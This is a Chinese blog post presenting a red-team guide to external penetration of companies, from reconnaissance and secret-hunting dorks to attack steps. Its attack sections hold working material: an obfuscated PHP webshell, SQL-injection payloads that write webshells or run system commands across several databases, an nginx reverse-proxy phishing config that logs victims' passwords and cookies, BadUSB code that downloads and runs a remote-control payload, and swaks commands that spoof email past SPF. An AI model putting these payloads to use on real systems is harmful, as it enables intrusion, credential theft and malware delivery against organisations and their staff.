红队外网打点攻击

红队攻击-外网打点

一、信息收集

1、企业信息收集

0x1 组织股权结构

​ 一般一家公司的子公司也是可以作为目标去打的,不过有时是要求 50% 持股或者 100% 持股,这个就要看具体实际情况了。

查询网站:天眼查、企查查、爱企查、小蓝本、钉钉企典

​ 如果目标持股公司不多,可以直接看股权穿透图,比较直观;如果持股公司比较多,股权穿透图看着就比较费力了。

image-20220919162912244

除了股权穿透之外,还可以看它的对外投资信息

image-20220919163029524

  • 工具

    https://github.com/wgpsec/ENScan_GO

    一款基于各大企业信息API的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。

image-20220919163606183

https://github.com/canc3s/cSubsidiary

​ 一款利用天眼查查询子公司工具

2、敏感信息收集

0x1 google语法

渗透中利用google语法做查询可以快速有效得到想要的页面。

site:*.domain.com
    inurl:domain.com
    intitle:keyword
    keyword filetyle:doc|pdf

工具:

https://github.com/r00tSe7en/GoogleHackingTool 在线google小工具

https://www.exploit-db.com/google-hacking-database google大量语法

0x2 github敏感信息

​ 在Github、码云等代码托管平台上查找相关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码进行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱密码、还有可能有泄露的源代码等。

一些常用github dorks:

#目标信息
xxxxx.com "Authorization"     #"Authorization: Bearer"
xxxxx.com  "filename:vim_settings.xml"
xxxxx.com "language:PHP"

#文件类型
filename:passwd path:etc
filename:dbeaver-data-sources.xml
path:sites databases password
filename:config.php dbpasswd
filename:prod.secret.exs
filename:configuration.php JConfig password
filename:.sh_history

#包含关键字的指定语言
language:python username
language:php username
language:sql username

#搜API/KEYS/TOEKNS关键字
api_key
“api keys”
authorization_bearer:
oauth
auth
authentication
client_secret
api_token:
“api token”

工具:

https://github.com/obheda12/GitDorker

https://github.com/michenriksen/gitrob

https://github.com/dxa4481/truffleHog

https://github.com/techgaun/github-dorks

0x3 姓名/手机号/邮箱

​ 通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email,子域名,主机,雇员名,开放端口和banner信息,为后面打点做字典做准备。

工具:https://github.com/laramies/theHarvester

邮箱字典构造工具:https://github.com/pry0cc/GoogLinked/blob/master/GoogLinked.rb

社工信息字典生成:https://github.com/r3nt0n/bopscrk

邮箱:

​ 邮箱地址比较常用的方法有直接通过搜索引擎找网上公开的邮箱信息,这种往往会指向目标的网站中,比如目标某个网页的附件中包含有邮箱等信息。

​ 还可以使用 Github 搜索目标公司开发者在代码中注释的邮箱信息;也可以通过领英找到目标公司的员工姓名,通过「拼音+@公司域名」的方法去构造员工邮箱。

在线网站:

0x4 空间搜索引擎

​ 擅用空间搜索引擎,有时可以在最初刚拿确定目标的时候就发现目标弱点。

常见搜索引擎:

​ fofa:https://fofa.info/

​ shodan:https://www.shodan.io/

​ 360:https://quake.360.cn/quake/#/index

​ 鹰图:https://hunter.qianxin.com/

​ ZoomEye:https://www.zoomeye.org/

工具:

​ Fofa_Viewer:https://github.com/wgpsec/fofa_viewer

​ 图形化界面,使用友好。

​ FofaX:https://github.com/xiecat/fofax

​ FofaX 为命令行界面,FofaX 可以结合其他工具联动使用,除了这两个工具调用 Fofa 接口外,上面提到的 Ehole 也可以调用 Fofa 查询。

​ Kunyu:https://github.com/knownsec/Kunyu

​ Kunyu 调用的是 ZoomEye 的接口

3、域名主被动收集

​ 通过1、2点我们拿到了一批等待爆破的域名和人员的信息,以及泄露的一些敏感信息(运气好的话用泄露的信息已经打到点了。)

0x1 whois信息查询

​ whois需要查询域名的whois,然后根据whois信息来查询历史和反查,这样你就得到了一些邮箱和可疑域名

​ 查域名信息没什么说的,主要看网址注册人、到期记录、创建域的时间、名称服务器和联系信息等,查最新的一般都是托管的信息,而查看历史信息就有可能查到真实联系人邮箱电话等:

image-20220921094526201

常见的whois查询:

https://domaineye.com/reverse-whois
https://www.reversewhois.io/
https://tool.domains/whois-research
https://tools.webservertalk.com/reverse-whois
https://reverse-whois-api.whoisxmlapi.com/
http://whois.domaintools.com/
https://viewdns.info/reversewhois/
https://www.domainiq.com/reverse_whois

whois历史查询:

https://whois.domaintools.com/
https://drs.whoisxmlapi.com/?ts=gp&ref=hackernoon.com
https://whois-history-api.whoisxmlapi.com/?ts=gp&ref=hackernoon.com
https://www.whoxy.com/

​ whois历史信息查询不能错过,可以在whois历史信息中看真实邮箱并反查而不是目前托管的邮箱,以及非托管的dns服务器。再通过得到的真实邮箱以及组织名进一步反查域名

https://www.reversewhois.io/

工具:

https://github.com/xugj-gits/domain-tool

https://github.com/melbadry9/WhoEnum

0x2 DNS域名正反向查询

DNS历史记录:

​ Dnsdumpster:https://dnsdumpster.com/

​ VT:https://www.virustotal.com/

IP反查:

​ 同ip查询多个解析到这个ip的域名,寻找更多web资产.

​ ip反查也可以使用dig、nslookup、host命令完成:

dig IP +noall +answer
nslookup IP
host IP

​ 在线网站:

https://viewdns.info/reverseip/

https://dnslytics.com/

反查工具

https://www.infobyip.com/ipbulklookup.php

https://github.com/Sma11New/ip2domain 国内推荐ip2domain,会查询权重、ICP备案等

0x3 子域名收集

​ 通过fofa空间搜索引擎进行证书、图标关联搜索然后指定搜索规则 is_domain=true,即表示只返回域名。

image-20220919164704722

​ 如果提前知道目标,还可以提前收集一波子域,然后项目快开始的时候,再收集一波子域,将两次收集的结果做下对比,优先打新增子域。

在线接口:

https://crt.sh/
https://search.censys.io/
https://dnsdumpster.com/
https://hackertarget.com/find-dns-host-records/
https://x.threatbook.cn/
https://www.virustotal.com/gui/home/search
https://phpinfo.me/domain/
https://site.ip138.com/baidu.com/domain.htm

工具:

OneForAll:https://github.com/shmilylty/OneForAll

amass、subfinder、Layer子域名挖掘机

4、其他信息收集

0x1 端口开放收集

常见的端口扫描工具 nmap 和 masscan

#nmap快速扫描全端口命令
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 -iL ip.txt -oX output.xml

fscan:https://github.com/shadow1ng/fscan

​ 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

ServerScanhttps://github.com/Adminisme/ServerScan

ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具。

0x2 API接口

​ 获取 api 接口常用的工具有 jsinfo、findsomething、jsfinder、BurpJSLinkFinder 等等。

如果找到了一些未授权接口,也许就可以搞到一些高价值信息,比如大量敏感信息泄露之类的。

另外在翻 js 文件的时候,可以关注下有没有以 runtime 命名的 js 文件,因为在这种 js 文件中会包含其他 js 文件的名称(包括当前页面没有加载的 js 文件),这样利用 runtime js 文件就发现了更多的 js 文件,使得找到 api 接口的概率又大了些。

图片

0x3 目录扫描

​ 目录扫描可以让我们发现这个网站存在多少个目录,多少个页面,探索出网站的整体结构。通过目录扫描我们还能扫描敏感文件,后台文件,数据库文件,和信息泄漏文件等等

常用的工具:dirsearch、ffuf、dirmap、御剑扫描

字典:https://github.com/TheKingOfDuck/fuzzDicts

5、 整理域名ip资产

​ 到这里大致的收集就结束了,就是要对收集结果进行整理,通过上面收集能拿到:

  • 一批待探测存活的域名
  • 一批待确定的ip段
  • 一些邮箱,姓名,手机号
  • 一些敏感文件、信息、通用密码
  • 一些端口、目录、API接口

​ 整理后大致如上,有一步需要做的就是把收集的这些域名,转成ip段,但是是需要判断这个ip属不属于cdn,属不属于泛解析的ip,然后转成ip后要判断ip段的权重,哪些段才可能是目标主要的C段。

​ 通过棱眼快速对域名进行处理,获取真实IP并输出C段;使用cIPR将域名转为ip段权重。

​ 棱眼(Eeyes):https://github.com/EdgeSecurityTeam/Eeyes

​ cIPR:https://github.com/canc3s/cIPR

二、打点攻击

建议在打点的时候下挂代理,选择SSR的负载均衡模式,防止被封禁IP、IP定位到真实位置,尤其是企业专线,例如埃文科技、IPIP对于企业专线的定位非常准确。

1、指纹识别

​ 在渗透测试中,对进行指纹识别是相当有必要的,识别出相应的CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。

在线指纹识别:

​ 云悉指纹:http://www.yunsee.cn/

​ BugScaner: http://whatweb.bugscaner.com/look/

工具:

​ Ehole:https://github.com/EdgeSecurityTeam/EHole

​ observer_ward:https://github.com/0x727/ObserverWard

2、 漏洞扫描

0x1 0day和Nday

​ 0day 和 nday 去打的方式是目前最常见的方式,同时也是蓝队比较关注的方式。

​ 这些年来比较常见的 0day 与 nday 相关服务有 Shiro、Fastjson 为代表的中间件,泛微、致远、通达为代表的 OA 系统,之外还有用友、各类安全设备、VPN、log4j2 等等。

工具:

0x2 Web系统Getshell

​ 针对web系统进行相关漏洞扫描,寻找命令执行、文件上传等关键点能得getshell从而可进一步利用。

0x01 文件上传getshell

​ 上传漏洞对于getshell 还是高频的,无论是前台上传点,还是后台(通过口令进入、或者XSS到后台、逻辑漏洞越权)上传点,当然也有可能要结合一些Web Server的解析漏洞。但像IIS和apache解析漏洞因为太老,现在成功概率都小很多。

​ 类似直接的上传漏洞就可以getshell的漏洞,例如IIS PUT上传、Tomcat PUT 上传,因为落脚点最终都跟上传有关系,这个就不单独去枚举。还有一批像一些编辑器(FCK、editor、CKedtor…)存在上传漏洞可以getshell。这一系列,一般是基于信息收集确定是否存在漏洞,然后进一步利用。

​ webshell免杀小项目:https://github.com/qianniaoge/WebShell-3

#php
<?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?>

//位运算符      //k为密码    试用方法 GET xxxx.php?k=assert   POST k=命令     
使用方式  shell.php?k=assert  POST k=phpinfo();

webshell工具:

0x02 RCE Getshell

​ RCE是统称,包括远程代码执行、远程命令执行。

Java系的OGNL 表达式注入、EL注入、反序列化
PHP系列的eval 类、伪协议类 代码执行、system类命令执行

windows命令执行:

  • ping 111 & ipconfig
  • ping 127.0.0.1 && ipconfig
  • ping 127.0.0.1 | ipconfig
  • ping 111 || ipconfig

linux命令执行:

  • ; 前面的执行完执行后面的
  • | 是管道符,显示后面的执行结果
  • || 前面的出错时执行后面的
  • & 无论前面是真是假都会执行
  • && 只有前面语句为真,才会执行后面语句

​ 命令执行绕过小技巧:https://houkc.github.io/2020/12/02/commandExecute/

0x03 Sql注入Getshell

​ Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

getshell条件:路径、权限

#mysql
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'

#sql server
存储过程xp_cmdshell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\WWW\\2333.aspx' ;--

#oracle
1、创建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
URL执行
id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--

#postgresql
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

#sqlite3
;attach database 'D:\\www\\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');

#redis
%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A

漏扫工具:

0x3 操作系统

​ 操作系统可能存在相关系统漏洞可直接获取相关系统权限。

​ Nessus:https://www.ddosi.org/nessus-plugin-pro-3/

​ Metasploit:https://www.metasploit.com/

0x4 弱口令

​ 弱口令的出现频率还是很多的,一份精准的字典再加上一个支持多协议的爆破工具,往往有很多预料之外的收获。

​ Web登录后台的爆破用burp就好了。在爆破之前可以先手动试一下,特别注意有些后台当输入的用户名不存在是会提示用户名不存在的,管理员的用户名基本上都是admin、system、administrator这种,可以先试出来用户名是什么,再去单独爆破密码,会节省很多时间。

​ 此外还有一些网站的用户名是指定的且有规律可循,比如用户名是一个id编号,这时候就可以遍历所有id号,加上常见的弱口令字典。这种情况一般都会有所收获,因为总有人的安全意识是比较薄弱的,会采用一些较弱的口令。或者可以准备一份常见人名字典,因为总是有很多重名的情况,可能每个公司都有叫张伟、李华的员工,如果后台的用户名就是人名的话可以试试。

工具:

3、钓鱼

0x1 set

​ 社会工程师工具包(SET)全称为Social-Engineer Toolkit,由TrustedSec的创始人创建和编写。它是一个开源的Python驱动工具,旨在围绕社交工程进行渗透测试,已经在包括Blackhat,DerbyCon,Defcon和ShmooCon在内的大型会议上提出过。它拥有超过200万的下载量,旨在利用社会工程类型环境下的高级技术攻击。

搭建与使用:https://www.cnblogs.com/zhangb8042/articles/10910019.html

0x2 httrack

​ httrack是一款免费的网站镜像程序,简单理解就是可以在网站结构(网页及一些主要信息文件),下载到本地,可离线浏览。

工具:https://github.com/xroche/httrack

0x3 Nginx反向代理钓鱼

反向代理:反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。同时,用户不需要知道目标服务器的地址,也无须在用户端作任何设定。反向代理服务器通常可用来作为Web加速,即使用反向代理作为Web服务器的前置机来降低网络和服务器的负载,提高访问效率。

部署配置

​ 安装nginx

配置文件:

​ 打开nginx的配置文件/etc/nginx/nginx.conf,具体虚拟主机的配置包含在另一个文件中

image-20201021043958270

​ 打开/etc/nginx/conf.d/文件夹,新建一个test.conf文件,做具体的信息配置。

server{
        listen  8080;
        server_name     47.xx.xx.xx;		#域名或IP
        index index.html index.htm index.php;

        access_log      /var/log/nginx/test.log Testlog;		#设置输出日志的路径
    
        location / {
                proxy_next_upstream http_502 http_504 error timeout invalid_header;
                #如果后端的服务器返回 502、504、执行超时等错误,自动将请求转发upstream负载均衡池中的另一台服务器,实现故障转移。
                proxy_pass http://xxx.com/;		#需要反向代理的网站
                proxy_set_header Host 47.xx.xx.xx;
                proxy_set_header X-Real-Ip $remote_addr;
                proxy_set_header X-Forwarded-For $remote_addr;
        }
								#用于在向反向代理的后端 Web 服务器发起请求时添加指定的 Header头信息。
}

​ 当后端 Web 服务器上有多个基于域名的虚拟主机时,要通过添加 Header 头信息 Host,用于指定请求的域名,这样后端 Web 服务器才能识别该反向代理访问请求由哪一个虚拟主机来处理。

​ 最后我们还需要设置以下 访问日志需要获取的内容 也是在nginx.conf里修改。在http模块中添加:

log_format Testlog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;

Testlog 要和上面的access_log对应不然日志不会起作用。

​ 重点是$request_body(获取post数据),$http_cookie(获取cookie数据)这就是我们钓鱼的核心了。当有人访问并登陆我们反向代理的网站以后 我们点开日志就可以看到他的cookie和post提交的用户名和密码了。

示例:

​ 使用某网站做上述配置进行反向代理,配置完成后访问自己服务器ip,可以看到是自己的ip,显示目标系统的界面,说明反向代理成功。

image-20201021051523406

进行登录操作后,可以在日志中看到获取的cookie

image-20201021052001089

使用cookie进行登录访问,成功进入。

image-20201021052143060

其他技巧参考文章:https://payloads.online/archivers/2021-02-16/1/

0x4 BadUSB

什么是BadUSB

​ BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。由于恶意代码位于U盘中的固件中,所以杀软无法访问和查杀U盘固件区域,但是如果恶意代码落盘或者恶意行为可以被监控或拦截。

BadUSB攻击方式

1.物理入侵,简单点找一些未锁屏的办公电脑挨个插入

2.U盘钓鱼,通过伪装成一个普通移动U盘撒向目标范围内引起目标注意

3.摆渡攻击,通常是攻击局域网内部系统,当再次插入互联网设备中敏感信息被传输。

制作BadUSB
  1. 准备一个开发板:(淘宝)
  2. 开发环境:Ardiuno IDE(https://cloud.codess-nas.top:5213/s/ApT2?path=%2F](https://cloud.codess-nas.top:5213/s/ApT2?path=/)

在这里插入图片描述

安装成功后,打开工具 工具——开发板——开发板管理器

在这里插入图片描述

搜索Arduino AVR Boards板子进行安装

在这里插入图片描述

制作不同的badusb要安装不同的开发板模块 我们制作的是Leonardo,所以选中leonardo开发板,进行安装即可

在这里插入图片描述

选择开发版为:"Arduino leonardo 编程器:AVRISP MKLL

选择对应的端口连接,我的电脑管理——设备管理中会出现一个端口

在这里插入图片描述

在这里插入图片描述

作用

可制作蓝屏、远控、硬件烧毁.......

本次实现:cs远控

目标机器默认中文输入法

​ 在实际利用情况下,如果目标默认使用的是中文输入法,当插入badusb模拟键盘输入时,会影响正常输入。比如输入-w hidden,实际输出为-我hidden

在这里插入图片描述

解决方法

模拟KEY_CAPS_LOCK按键,在默认使用中英文输入法时都适用,唯一不适应的情况是对方默认使用中文输入法且开启了大写输入。

免杀

将cs免杀马上传到服务器上,开启http服务,供后面下载使用。python -m SimpleHTTPServer 9899

键盘操作流程

首先按下win+r键,打开cmd,下载放在服务器上的免杀马(http://xxx.xxx.xxx:9899/shell.exe),执行免杀马,cs上线。

编译烧录

把代码编译烧录到badusb

#include<Keyboard.h>
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(200);
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(200); 
  Keyboard.press('r');//r键 
  delay(200); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.println("cmd /t:01 /k @echo off && mode con:cols=15 lines=1");
  delay(200); 
  Keyboard.println("certutil -urlcache -split -f http://xxx.xxx.xxx:9899/shell.exe C:\\setup_11.5.0.exe");  //下载shell到本地,重命名
  delay(1000);
  delay(1000);
  Keyboard.println("c:\\setup_11.5.0.exe");
  delay(500);
  Keyboard.println("c:\\setup_11.5.0.exe");
  delay(500);
  Keyboard.println("exit");
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(400);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

图片

点击☑️输出没有报错,我们直接点击➡️烧录进badusb即可制作成功就可以愉快的玩耍了插谁谁上线。

0x5 swaks 邮件伪造

​ swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文。

通常最简单的发送命令:swaks --to user@example.com --server test-server.example.net

但是邮件头中会带上X-Mailer,同时,SPF检测会FAIL。

1

​ smtp2go主要是相当于邮件托管,可以分发子账户进行发送。地址:https://support.smtp2go.com/hc/en-gb(邮箱注册)普通账户可以免费发1000封邮件。分配好账户后,可以通过swaks进行登录发送邮件:

2

​ 通过swaks发送swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>

但是上面这个邮件无法绕过SPF。

SPF原理:如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。

​ smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。默认情况下,如果未设置Mail.From也就是邮件头的From,则会使用smtp.from作为Mail.From。

3

绕过SPF:由于邮件显示的是Header中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可。

swaks --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>

​ Gmail接收到这封邮件后,会校验--from xx@smtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。而DKIM是校验邮件完整性的,smtp2go与Gmail直接使用的是TLS,不会发生什么问题。

5

#自定义Header特征
swaks --header-<Name> <Value>

#去除Mailer特征
swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>

#附件钓鱼
swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf

#定制:
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf

python

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""


sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com']

message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] =  Header(receivers[0], 'utf-8')

subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8')


try:
    smtpObj = smtplib.SMTP()
    smtpObj.connect(mail_host, 25)
    smtpObj.login(mail_user,mail_pass)
    smtpObj.sendmail(sender, receivers, message.as_string())
    print "Success"
except smtplib.SMTPException:
    print "Error"

4、近源渗透

​ 用通俗的话来讲,就是通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”,最后以隐秘的方式将评估结果带出上报,由此证明企业安全防护存在漏洞。

一句话概括:人以物理加技术的方式在目标环境内进行的渗透检测。

0x1 无线网卡

Aircrack:Aircrack是目前最流行的WiFi密码破解工具。市面上能破解 WiFi加密的工具有很多,不外乎利用WEP安全漏洞或者暴力字典攻击的方式破解WPA/WPA2 PSK密码。WPA2 AES/CCMP加密依然是相对安全的选择。如果采用WPA2 PSK模式,那么你的密码长度最好是13位以上混合字符。在你的Wi-Fi网络被入侵或者“蹭网”之前,最好先用破解工具自我攻击一下。 Aircrack是一个开源的WEP/WPA/WPA2 PSK破解工具,可以运行在windows、Mac OS X、Linux和OpenBSD上。可以下载到Vmware镜像文件或Live CD文件。

下载链接: http://www.aircrack-ng.org/

0x2 WIFI大菠萝

WiFi Pineapple:是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器(俗称大菠萝),从2008年起目前已经发布到第六代产品。当前的主打产品是The WiFi Pineapple NANO 和WiFI Pineapple TETRA(支持5GHz频段)

​ 相关教程:https://bbs.zkaq.cn/t/3019.html

0x3 EMP干扰器

​ 当前电子设备和电路的工作频率不断提高,而工作电压却逐渐降低,因此对电磁脉冲(EMP)的敏感性和易损性也不断增加。同时,电子系统中的集成电路对电磁脉冲比较敏感,往往一个较大的电磁脉冲,就会使集成块产生误码、甚至电子元器件失效或烧毁,所以我们可以使用EMP干扰来打开部分电子门禁和电子密码锁。

0x4 变色龙

​ 变色龙主要有三种使用方法,第一种是随机化UID进行模糊测试、第二种是支持IC卡的仿真、第三种是存储多张虚拟化卡

0x5 Proxmark 3

​ 如果我们使用EMP无法打开门禁,那我们还有一个方法,但是需要我们稍微靠近一下目标,找合适的机会破解IC卡,或复制ID卡。对于ID卡,仅需不到一秒即可复制。对于存在MFOC漏洞的IC卡,需要十几秒钟时间复制。

0x6 纳米指纹膜

​ 如果有见过驾校教练代打卡、公司门禁代打卡的小伙伴们应该对这个东西很熟悉吧,就是可以通过指纹拓印出一个跟原指纹一模一样的指纹膜

0x7 键盘记录器

​ 如果你能接触到目标主机,那你就可以将键盘记录器接入到主机和键盘之间,并配置连接WI-FI,将键盘敲击的数据实时传回远程服务器。

0x8 内网硬件植入

PACKET 小松鼠:通过前面的步骤,红队渗透小哥哥可能已经进入了蓝队内部,这个时候我们就需要可以在内网偷偷装一个PacketSquirrel,作为中间人攻击工具,PacketSquirrel可以捕获网络端点的数据包、并且可以使用VPN和反向shell获得远程访问权限。

LAN 海龟:这个工具会反弹一个内网的shell出来,但是这个和PacketSquirrel的区别是它可以插入SIM卡使用自己的internet网络连接,这样就可以绕过部分外围防火墙。

0x9 HID 攻击

badusb是HID(人机接口)攻击的一种,也称为热插拔攻击。想象一下,你可以走到一台计算机上,插入看似无害的USB驱动器,然后安装后门窃听文档窃取密码...(用法很多,全靠想象)。

0x10 HDMI嗅探

​ 这个是很有意思的一个设备,你只需要将它接到HDMI线中中间人嗅探)。接下来就可以随时观看远程视频流,至于接入到什么位置就靠想象啦,比如投影仪,某某某的显示器后。

posted @ 2022-11-09 14:32  Rlins  阅读(216)  评论(0)    收藏  举报